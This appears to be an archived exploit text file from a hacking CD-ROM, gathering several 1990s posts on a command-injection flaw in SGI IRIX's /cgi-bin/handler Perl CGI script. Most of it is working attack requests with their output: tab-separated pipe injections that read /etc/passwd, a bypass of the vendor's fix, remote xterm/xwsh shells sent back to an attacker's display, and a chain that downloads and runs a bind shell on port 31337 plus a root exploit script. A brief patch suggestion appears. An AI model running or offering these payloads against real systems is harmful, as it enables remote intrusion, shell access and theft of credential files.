home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hoobie / sgi_cgihandler.txt < prev    next >
Text File  |  2001-11-06  |  11KB  |  298 lines

  1. /cgi-bin/handler is a small perl program that allows (in theory) 
  2. to read and download files under the system's root directory.
  3. In fact it allows you to execute any command remotely
  4. on the target machine.
  5.  
  6. Here's how it works:
  7. "handler" reads PATH_INFO from the environment and then concatenates it
  8. with a default "root directory" (let's say /var/www/htdocs). It then runs
  9. a "validity check" on the result. But it only checks for ".." not for
  10. other potential offensive special chars.
  11. It then uses "open (INPUT, $doc)" where $doc is the result of the
  12. concatenation.
  13. If you're familiar with PERL you know that if a '|' character follows the
  14. filename, perl will treat that filename as a command. It runs it and gives
  15. you STDOUT.
  16. The way to exploit this "feature" for cgi-bin/handler is:
  17.  
  18. telnet target.machine.com 80
  19. GET /cgi-bin/handler/useless_shit;cat   /etc/passwd|?data=Download
  20. HTTP/1.0
  21.  
  22. Note that you have to use a TAB character after cat, not a space because
  23. the shell will accept it as a separator and it won't confuse the HTTP
  24. server. You can't use the %xx format (%20) because the script doesn't do
  25. any parsing (So you will not be able to give command that contain spaces).
  26.  
  27. Of course, you can use any other command instead of "cat" but remember NOT
  28. to use spaces, just tabs.
  29.  
  30. The server will display an error saying that it couldn't open
  31. "useless_shit" but it will continue anyway and execute your command.
  32.  
  33. I tested it on two Indy machines with IRIX 6.2.
  34.  
  35. And also, I think this kind of approach makes cgi-bin's written in perl
  36. more vulnerable. That is any script that does not strip special
  37. characters (not only dots, but also | and ; ) and uses "open" commands on
  38. files read from user input can be attacked. Most of the cgi-bin's I've
  39. seen do only a rudimentary check for "double-dots" and then declare the
  40. URL "sane".
  41.  
  42.  
  43. ==========================================================================
  44.  
  45.  
  46. I have had reports that my exploit for SGI's /cgi-bin/handler does not
  47. work on IRIX 6.3 (on O2).  I analyzed the code provided with IRIX
  48. 6.3 and they tried to fix it, but they actually DID NOT.
  49.  
  50. They added a new line to the script:
  51.  
  52. $doc=~s/\|*$// (in plain English, this means "remove any number of '|'s at
  53. end-of-string"). But guess what. It works just as fine if you put another
  54. TAB character after the "pipe" (so that the "pipe" is not at
  55. end-of-string, the TAB is).
  56.  
  57. The exploit should read
  58.  
  59. telnet target.machine.com 80
  60. GET /cgi-bin/handler/whatever;cat       /etc/passwd|    ?data=Download
  61. HTTP/1.0
  62.  
  63. It tricks the script into executing the command anyway.
  64. Now, for those of you who want to patch it somehow, here's the best
  65. solution that has been posted to me (all credits for it go to Wolfram
  66. Schneider <wosch@apfel.de>)
  67.  
  68. All "open" commands should check if the their argument is really a
  69. filename. You could use:
  70.  
  71. -f $doc && open (INPUT, $doc)
  72.  
  73. (Same thing as: if (-f $doc) {open (INPUT, $doc) } , the one written
  74. above is more PERL style)
  75.  
  76. So far, IRIX versions 5.3, 6.2, and now 6.3 are vulnerable.
  77.  
  78.  
  79. ===========================================================================
  80.  
  81.  
  82. If you have untrusted local users who can install their own cgi-bin
  83. stuff (I know of at least one large site that is in this situation),
  84. this isn't enough.  /cgi-bin/handler/whatever;cat\t/etc/passwd\|\t may
  85. well exist, and open() will _still_ take it as a pipe.
  86.  
  87.  
  88. ===========================================================================
  89.  
  90.  
  91. IRIX 6.4 is also vulnerable to this exploit.
  92.  
  93.  
  94. ===========================================================================
  95.  
  96.  
  97. Systems Affected:
  98. ALL IRIX systems (Including 6.4) with the default web server installed,
  99. any web server with the "cgi-handler" script installed.
  100.  
  101. Quite a while ago, Razvan Dragomirescu (drazvan@kappa.ro) released a
  102. report on the default cgi-handler scripts that ship with IRIX systems
  103. with web servers, and some other web server programs. Just like with
  104. the phf bug, with the cgi-handler bug a malicious user could start
  105. an xterm from the server machine on their own system.
  106.  
  107. Example:
  108.  
  109. telnet www.highly.respectable.bank.com 80
  110. Trying 300.300.300.1...
  111. Connected to www.highly.respectable.bank.com
  112. Escape character is '^]'.
  113. GET /cgi-bin/handler/blah;xwsh  -display        yourhost.com|?data=Download
  114.  
  115. Please note the format of the "GET" querey. The above assumes xwsh is in the
  116. PATH somewhere, and the "space" between "xwsh" and "-display" should be a TAB.
  117.  
  118. In addition, please note that in theory this should also work for
  119. /cgi-bin/wrap CGI script.
  120.  
  121. ===========================================================================
  122.  
  123. >
  124. > telnet www.highly.respectable.bank.com 80
  125. > Trying 300.300.300.1...
  126. > Connected to www.highly.respectable.bank.com
  127. > Escape character is '^]'.
  128. > GET /cgi-bin/handler/blah;xwsh  -display   yourhost.com|?data=Download
  129. >
  130. > Please note the format of the "GET" query. The above assumes xwsh is in the
  131. > PATH somewhere, and the "space" between "xwsh" and "-display" should be a TAB.
  132.  
  133. I've got some problems while trying that...
  134. First it seems, that the xwsh was not in the path so I tried to call
  135. xwsh with a given path (note that all whitespaces after GET
  136. /cgi-bin/handler/ must be Tabs...):
  137.  
  138. enemy% telnet victim 80
  139. Trying 1.2.3.4...
  140. Connected to victim.
  141. Escape character is '^]'.
  142. GET /cgi-bin/handler/ ;/usr/sbin/xwsh  -display  enemy:0|?data=Download
  143. UX:sh (sh): ERROR: Connection closed by foreign host.
  144. enemy%
  145.  
  146. That opened the xwsh window... But there was only one error-message in
  147. the first line:
  148.  
  149. /usr/sbin/xwsh: Permission denied: can't start command
  150.  
  151. Hm - What could that be? Doesn't matter - Lets see what I can do with
  152. other commands... (Remember the tabs...)
  153.  
  154. enemy% telnet victim 80
  155. Trying 1.2.3.4...
  156. Connected to victim.
  157. Escape character is '^]'.
  158. GET /cgi-bin/handler/   ;cat    /etc/passwd|?data=Download
  159. UX:sh (sh): ERROR: root:x:0:0:Super-User:/:/bin/csh
  160. sysadm:x:0:0:System V Administration:/usr/admin:/bin/sh
  161. [... I wont give you that ;) ...]
  162. nobody:x:60001:60001:SVR4 nobody uid:/dev/null:/dev/null
  163. [... and again some more ...]
  164. Connection closed by foreign host.
  165.  
  166. Hm - a shadowed passwd... was my first thought... Lets see If I can get
  167. the shadow... [As above] - Didnt work. So It seems that the WWWserver
  168. was not running as root (what a pity ;). If it does not run as root - it
  169. usually runs as nobody. And what can we see above? Nobody got the shell
  170. /dev/null - thats why my xwsh was not able to start a command. Next Try
  171. was to give xwsh the command that it should start... (And again: Tabs! -
  172. and of course everything in one line...)
  173.  
  174. enemy% telnet victim 80
  175. Trying 1.2.3.4...
  176. Connected to victim.
  177. Escape character is '^]'.
  178. GET /cgi-bin/handler/;/usr/sbin/xwsh  -display  enemy:0  -e
  179. /bin/csh|?data=Download
  180. UX:sh (sh): ERROR: Connection closed by foreign host.
  181. enemy%
  182.  
  183. And voila! - What else do you want? Any other programs to start? Just
  184. try...
  185.  
  186. ======================================================================
  187.  
  188. > Trying 1.2.3.4...
  189. > Connected to victim.
  190. > Escape character is '^]'.
  191. > GET /cgi-bin/handler/;/usr/sbin/xwsh  -display  enemy:0  -e
  192. > /bin/csh|?data=Download
  193. > UX:sh (sh): ERROR: Connection closed by foreign host.
  194. > enemy%
  195.  
  196. s/xwsh/xterm/ and this works the same.
  197.  
  198. to reiterate Razvan's follow-up to the original posting on the
  199. cgi-bin/handler issue, in Irix 6.3 (O2s) they attempted to fix this with
  200. the line:
  201.  
  202.     # trim off trailing pipes
  203.     $doc =~ s/\|*$// ;
  204.  
  205. which can be fooled by appending a <tab> char after the pipe, thus:
  206.  
  207. GET /cgi-bin/handler/<tab>;xterm<tab>-display<tab>danish:0<tab>-e<tab>
  208. /bin/sh|<tab>?data=Download
  209.        ^^^^^^
  210. (one line, emphasis under the necessary change)
  211.  
  212. which can be applied to the xwsh, or cat /etc/passwd attacks or whatever.
  213.  
  214. this is not matched by the pattern s/\|*$//, but the appended tab does
  215. not change the behavior of perl's open(yadda, "yadda|") statement since
  216. whitespace following the '|' is ignored.
  217.  
  218. Yuri's post to Bugtraq of Fri, 16 May 1997 #2551 at
  219. http://www.netspace.org/lsv-archive/bugtraq.html is a good read for more
  220. info on why SGIs /var/www/cgi-bin directory should be nuked with extreme
  221. prejudice...
  222.  
  223. ========================================================================
  224.  
  225. > enemy% telnet victim 80
  226. > Trying 1.2.3.4...
  227. > Connected to victim.
  228. > Escape character is '^]'.
  229. > GET /cgi-bin/handler/;/usr/sbin/xwsh  -display  enemy:0  -e
  230. > /bin/csh|?data=Download
  231. > UX:sh (sh): ERROR: Connection closed by foreign host.
  232. > enemy%
  233. >
  234. > And voila! - What else do you want? Any other programs to start? Just
  235. > try...
  236. >
  237.  
  238.         Keep in mind that it isn't necessary to get everything done in one
  239. command.  A string of two or three commands might sometimes be necessary
  240. to get things moving.  For example:
  241. enemy% whoami
  242. evil_cracker
  243. enemy% echo + + > .rhosts
  244. enemy% nc victim.com 80
  245. GET /cgi-bin/handler/;/usr/bsd/rcp      evil_cracker@enemy.com:portshell        /tmp|?data=Download
  246. enemy% nc victim.com 80
  247. GET /cgi-bin/handler/;/tmp/portshell    31337|?data=Download
  248. enemy% nc victim.com 31337
  249. % whoami
  250. nobody
  251. % rcp evil_cracker@enemy.com:irix_root_bug_of_the_week.sh \
  252. ./irbotw.sh ; ./irbotw.sh
  253. #
  254. [... or whatever ...]
  255.  
  256. "portshell" being a program that bound itself to a TCP port and executed a
  257. shell upon receiving a connection.  Boom, shell access obtained under
  258. whatever uid httpd is running as.  Or, one could even create a dummy
  259. inetd.conf and run their own copy of inetd.  The possiblities are
  260. virtually limitless.
  261.  
  262.  
  263. ======================================================================
  264.  
  265.  
  266.  ************** Corinne Posse Security Notice  **************
  267. Issue Number 7: 970723
  268.  *****************  http://posse.cpio.org  ******************
  269.  
  270. ** (Please note our new address at cpio.org !!!) **
  271.  
  272. **** Systems Security and Safety-- known breech ****
  273.  
  274. Systems Affected:
  275. ALL IRIX systems (Including 6.4) with the default web server installed,
  276. any web server with the "cgi-handler" script installed.
  277.  
  278. Quite a while ago, Razvan Dragomirescu (drazvan@kappa.ro) released a
  279. report on the default cgi-handler scripts that ship with IRIX systems
  280. with web servers, and some other web server programs. Just like with
  281. the phf bug, with the cgi-handler bug a malicious user could start
  282. an xterm from the server machine on their own system.
  283.  
  284. Example:
  285.  
  286. telnet www.highly.respectable.bank.com 80
  287. Trying 300.300.300.1...
  288. Connected to www.highly.respectable.bank.com
  289. Escape character is '^]'.
  290. GET /cgi-bin/handler/blah;xwsh  -display        yourhost.com|?data=Download
  291.  
  292. Please note the format of the "GET" querey. The above assumes xwsh is in the
  293. PATH somewhere, and the "space" between "xwsh" and "-display" sould be a TAB.
  294.  
  295. In addition, please note that in theory this should also work for
  296. /cgi-bin/wrap CGI script.
  297.  
  298.